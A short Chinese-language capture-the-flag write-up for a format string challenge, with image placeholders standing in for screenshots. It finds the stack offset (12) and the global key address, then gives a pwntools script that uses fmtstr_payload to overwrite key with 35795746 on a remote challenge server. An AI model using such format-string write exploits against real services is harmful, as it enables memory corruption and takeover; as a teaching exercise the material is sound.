key是全局变量,需要将key改变为特殊值35795746才行
image

格式化字符串原理图:
image

可以看出AAAA偏离自己的首地址的地址(也就是format string)的偏移量为12
image

key变量地址:
image

EXP:

1
2
3
4
5
6
from pwn import *
r = remote("111.200.241.244", 33670)
key_addr = 0x804A048 #这是key变量的地址
payload = fmtstr_payload(12, {key_addr:35795746}) #写偏移的新方法
r.sendline(payload)
r.interactive()